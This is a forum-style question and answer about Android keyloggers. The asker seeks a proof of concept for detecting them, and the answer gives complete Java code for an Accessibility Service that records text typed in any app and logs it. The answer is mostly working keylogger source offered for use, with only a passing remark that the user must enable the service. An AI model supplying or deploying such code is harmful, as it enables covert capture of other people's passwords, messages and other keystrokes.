Android Key logger

Question

Intro: I want to create a POC on Android Security which requires to identify if there is any KeyLogger running on Android device or not. And if it is running or installed on

Answer 1

As a follow up on @ananth's answer, here is a complete code example on how to implement a keylogger using Accessibility Service.

But, this requires permissions to bind your Service with the system and also the user has to explicitly turn on the Service you create by navigating to Settings>Accessibility>{Your app name} on Android devices. So, if you have evil intensions, good luck with that.

Step 1: Paste this in your manifest file.

...

            
                
            

Step 2: Create a class for your Accessibility Service.

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

That's it. Now, everything the user types in any app on their phone will be logged to the console. You can configure the above class to listen to the keystrokes from certain specified apps only if you want to. The above class is independent of your MainActivity. The service will get registered as soon as your app is installed. But, again, in order to work, this requires manual toggling of settings as mentioned previously.

Read the docs for detailed explanation on what Accessibility is and details on each of the classes and methods used above.